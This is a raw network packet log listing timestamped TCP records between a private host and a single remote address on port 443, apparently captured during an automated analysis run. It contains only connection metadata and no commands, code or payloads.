Oct 7, 2024 03:16:24.535017967 CEST	443	49811	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:24.535113096 CEST	49811	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:24.535267115 CEST	49811	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:24.535295010 CEST	443	49811	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:24.537236929 CEST	443	49807	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:24.537470102 CEST	443	49807	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:24.537648916 CEST	49807	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:24.537712097 CEST	49807	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:24.537719965 CEST	443	49807	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:24.537731886 CEST	49807	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:24.537736893 CEST	443	49807	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:24.540061951 CEST	49812	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:24.540071964 CEST	443	49812	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:24.540143967 CEST	49812	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:24.540298939 CEST	49812	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:24.540317059 CEST	443	49812	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:24.586050034 CEST	443	49809	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:24.586234093 CEST	443	49809	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:24.586440086 CEST	49809	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:24.586496115 CEST	49809	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:24.586515903 CEST	443	49809	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:24.586533070 CEST	49809	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:24.586540937 CEST	443	49809	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:24.589242935 CEST	49813	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:24.589268923 CEST	443	49813	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:24.589373112 CEST	49813	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:24.589561939 CEST	49813	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:24.589572906 CEST	443	49813	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:24.621706009 CEST	443	49808	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:24.622033119 CEST	443	49808	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:24.622101068 CEST	49808	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:24.622149944 CEST	49808	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:24.622149944 CEST	49808	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:24.622176886 CEST	443	49808	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:24.622200966 CEST	443	49808	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:24.624672890 CEST	49814	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:24.624682903 CEST	443	49814	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:24.624742031 CEST	49814	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:24.624907017 CEST	49814	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:24.624917030 CEST	443	49814	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:25.101361036 CEST	443	49810	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:25.102142096 CEST	49810	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:25.102183104 CEST	443	49810	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:25.102780104 CEST	49810	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:25.102788925 CEST	443	49810	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:25.176258087 CEST	443	49812	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:25.176862955 CEST	49812	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:25.176877975 CEST	443	49812	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:25.177498102 CEST	49812	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:25.177503109 CEST	443	49812	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:25.203975916 CEST	443	49810	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:25.204174042 CEST	443	49810	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:25.204224110 CEST	49810	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:25.204339027 CEST	49810	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:25.204358101 CEST	443	49810	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:25.204375029 CEST	49810	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:25.204381943 CEST	443	49810	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:25.207377911 CEST	49815	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:25.207401037 CEST	443	49815	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:25.207509995 CEST	49815	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:25.207638025 CEST	49815	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:25.207654953 CEST	443	49815	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:25.211636066 CEST	443	49811	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:25.212127924 CEST	49811	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:25.212172031 CEST	443	49811	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:25.212587118 CEST	49811	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:25.212603092 CEST	443	49811	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:25.225146055 CEST	443	49813	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:25.225454092 CEST	49813	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:25.225465059 CEST	443	49813	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:25.225840092 CEST	49813	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:25.225843906 CEST	443	49813	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:25.272834063 CEST	443	49814	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:25.273332119 CEST	49814	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:25.273348093 CEST	443	49814	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:25.273705959 CEST	443	49812	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:25.273731947 CEST	49814	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:25.273736954 CEST	443	49814	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:25.273859024 CEST	443	49812	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:25.273924112 CEST	49812	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:25.274076939 CEST	49812	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:25.274076939 CEST	49812	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:25.274080992 CEST	443	49812	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:25.274087906 CEST	443	49812	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:25.277612925 CEST	49816	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:25.277642965 CEST	443	49816	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:25.277935982 CEST	49816	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:25.278058052 CEST	49816	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:25.278069019 CEST	443	49816	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:25.313019037 CEST	443	49811	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:25.313164949 CEST	443	49811	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:25.313225031 CEST	49811	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:25.313304901 CEST	49811	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:25.313321114 CEST	443	49811	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:25.313333035 CEST	49811	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:25.313339949 CEST	443	49811	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:25.315915108 CEST	49817	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:25.315937042 CEST	443	49817	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:25.316086054 CEST	49817	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:25.316699982 CEST	49817	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:25.316716909 CEST	443	49817	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:25.325747967 CEST	443	49813	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:25.325982094 CEST	443	49813	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:25.326016903 CEST	443	49813	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:25.326020002 CEST	49813	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:25.326060057 CEST	49813	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:25.326090097 CEST	49813	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:25.326098919 CEST	443	49813	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:25.326107979 CEST	49813	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:25.326112032 CEST	443	49813	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:25.328392982 CEST	49818	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:25.328408003 CEST	443	49818	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:25.328474998 CEST	49818	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:25.328675032 CEST	49818	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:25.328689098 CEST	443	49818	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:25.380852938 CEST	443	49814	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:25.380981922 CEST	443	49814	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:25.381092072 CEST	49814	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:25.381175995 CEST	49814	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:25.381186962 CEST	443	49814	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:25.381196022 CEST	49814	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:25.381201982 CEST	443	49814	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:25.384145021 CEST	49819	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:25.384193897 CEST	443	49819	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:25.384377003 CEST	49819	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:25.384435892 CEST	49819	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:25.384449005 CEST	443	49819	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:25.860785007 CEST	443	49815	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:25.863434076 CEST	49815	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:25.863445997 CEST	443	49815	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:25.863938093 CEST	49815	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:25.863943100 CEST	443	49815	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:25.947971106 CEST	443	49816	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:25.948777914 CEST	49816	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:25.948796988 CEST	443	49816	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:25.949273109 CEST	49816	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:25.949280024 CEST	443	49816	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:25.961292982 CEST	443	49815	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:25.961358070 CEST	443	49815	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:25.961406946 CEST	49815	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:25.961416960 CEST	443	49815	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:25.961447954 CEST	443	49815	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:25.961535931 CEST	49815	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:25.961695910 CEST	49815	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:25.961709976 CEST	443	49815	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:25.961720943 CEST	49815	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:25.961725950 CEST	443	49815	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:25.965054989 CEST	49820	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:25.965085030 CEST	443	49820	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:25.965138912 CEST	49820	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:25.965281963 CEST	49820	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:25.965297937 CEST	443	49820	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:25.982882977 CEST	443	49817	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:25.983264923 CEST	49817	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:25.983287096 CEST	443	49817	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:25.983726978 CEST	49817	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:25.983732939 CEST	443	49817	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.007121086 CEST	443	49818	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.007457972 CEST	49818	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.007477999 CEST	443	49818	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.007843971 CEST	49818	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.007854939 CEST	443	49818	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.019275904 CEST	443	49819	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.019582033 CEST	49819	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.019606113 CEST	443	49819	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.019980907 CEST	49819	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.019987106 CEST	443	49819	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.050395012 CEST	443	49816	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.050595045 CEST	443	49816	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.050667048 CEST	49816	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.050844908 CEST	49816	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.050858974 CEST	443	49816	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.050867081 CEST	49816	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.050873041 CEST	443	49816	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.053842068 CEST	49821	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.053886890 CEST	443	49821	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.053961039 CEST	49821	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.054116011 CEST	49821	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.054130077 CEST	443	49821	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.086246967 CEST	443	49817	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.086457968 CEST	443	49817	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.086579084 CEST	49817	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.086865902 CEST	49817	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.086865902 CEST	49817	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.086895943 CEST	443	49817	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.086921930 CEST	443	49817	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.089690924 CEST	49822	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.089701891 CEST	443	49822	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.089776993 CEST	49822	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.089893103 CEST	49822	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.089905024 CEST	443	49822	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.111749887 CEST	443	49818	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.111897945 CEST	443	49818	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.112046003 CEST	49818	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.114795923 CEST	49818	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.114795923 CEST	49818	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.114818096 CEST	443	49818	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.114840031 CEST	443	49818	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.118546009 CEST	49823	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.118593931 CEST	443	49823	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.118674994 CEST	49823	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.118735075 CEST	443	49819	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.118814945 CEST	443	49819	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.118824959 CEST	49823	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.118837118 CEST	443	49823	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.118856907 CEST	443	49819	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.118880033 CEST	49819	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.118921041 CEST	49819	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.118982077 CEST	49819	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.119000912 CEST	443	49819	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.119010925 CEST	49819	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.119015932 CEST	443	49819	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.121177912 CEST	49824	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.121186972 CEST	443	49824	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.121365070 CEST	49824	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.121365070 CEST	49824	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.121385098 CEST	443	49824	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.611267090 CEST	443	49820	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.612034082 CEST	49820	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.612044096 CEST	443	49820	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.612452984 CEST	49820	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.612457037 CEST	443	49820	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.699098110 CEST	443	49821	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.699760914 CEST	49821	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.699784040 CEST	443	49821	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.700257063 CEST	49821	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.700263023 CEST	443	49821	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.711987019 CEST	443	49820	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.712229013 CEST	443	49820	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.712332964 CEST	49820	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.713004112 CEST	49820	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.713004112 CEST	49820	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.713021040 CEST	443	49820	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.713030100 CEST	443	49820	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.716025114 CEST	49826	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.716068983 CEST	443	49826	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.716321945 CEST	49826	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.716480970 CEST	49826	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.716490984 CEST	443	49826	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.732481956 CEST	443	49822	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.736959934 CEST	49822	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.736985922 CEST	443	49822	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.737524986 CEST	49822	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.737530947 CEST	443	49822	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.757355928 CEST	443	49823	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.759938955 CEST	49823	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.759954929 CEST	443	49823	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.760312080 CEST	49823	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.760317087 CEST	443	49823	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.770593882 CEST	443	49824	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.772022009 CEST	49824	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.772022009 CEST	49824	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.772031069 CEST	443	49824	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.772047043 CEST	443	49824	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.797317028 CEST	443	49821	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.797557116 CEST	443	49821	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.797719002 CEST	49821	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.797878981 CEST	49821	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.797878981 CEST	49821	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.797902107 CEST	443	49821	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.797915936 CEST	443	49821	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.800664902 CEST	49827	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.800699949 CEST	443	49827	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.800826073 CEST	49827	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.800964117 CEST	49827	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.800973892 CEST	443	49827	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.834959984 CEST	443	49822	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.835165977 CEST	443	49822	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.835290909 CEST	49822	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.835515976 CEST	49822	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.835515976 CEST	49822	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.835542917 CEST	443	49822	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.835553885 CEST	443	49822	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.839256048 CEST	49828	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.839289904 CEST	443	49828	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.839466095 CEST	49828	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.839514017 CEST	49828	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.839520931 CEST	443	49828	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.855305910 CEST	443	49823	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.855453014 CEST	443	49823	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.855567932 CEST	443	49823	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.855572939 CEST	49823	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.855801105 CEST	49823	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.855801105 CEST	49823	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.855801105 CEST	49823	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.855818033 CEST	443	49823	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.857604980 CEST	49829	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.857641935 CEST	443	49829	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.860271931 CEST	49829	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.860393047 CEST	49829	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.860403061 CEST	443	49829	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.870155096 CEST	443	49824	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.870516062 CEST	443	49824	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.871424913 CEST	49824	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.871689081 CEST	49824	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.871689081 CEST	49824	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.871696949 CEST	443	49824	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.871704102 CEST	443	49824	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.873353004 CEST	49830	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.873369932 CEST	443	49830	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:26.873449087 CEST	49830	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.873560905 CEST	49830	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:26.873577118 CEST	443	49830	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:27.164814949 CEST	49823	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:27.164834976 CEST	443	49823	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:27.361946106 CEST	443	49826	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:27.362591982 CEST	49826	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:27.362617970 CEST	443	49826	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:27.363095045 CEST	49826	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:27.363100052 CEST	443	49826	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:27.446264029 CEST	443	49827	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:27.446800947 CEST	49827	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:27.446818113 CEST	443	49827	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:27.447391987 CEST	49827	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:27.447396994 CEST	443	49827	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:27.462902069 CEST	443	49826	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:27.463141918 CEST	443	49826	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:27.463177919 CEST	443	49826	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:27.463242054 CEST	49826	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:27.463275909 CEST	49826	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:27.463293076 CEST	443	49826	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:27.467565060 CEST	49831	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:27.467613935 CEST	443	49831	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:27.467696905 CEST	49831	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:27.467854977 CEST	49831	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:27.467869997 CEST	443	49831	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:27.478399038 CEST	443	49828	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:27.478965998 CEST	49828	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:27.478990078 CEST	443	49828	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:27.479415894 CEST	49828	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:27.479420900 CEST	443	49828	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:27.546344042 CEST	443	49827	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:27.546513081 CEST	443	49827	13.107.246.60	192.168.2.6
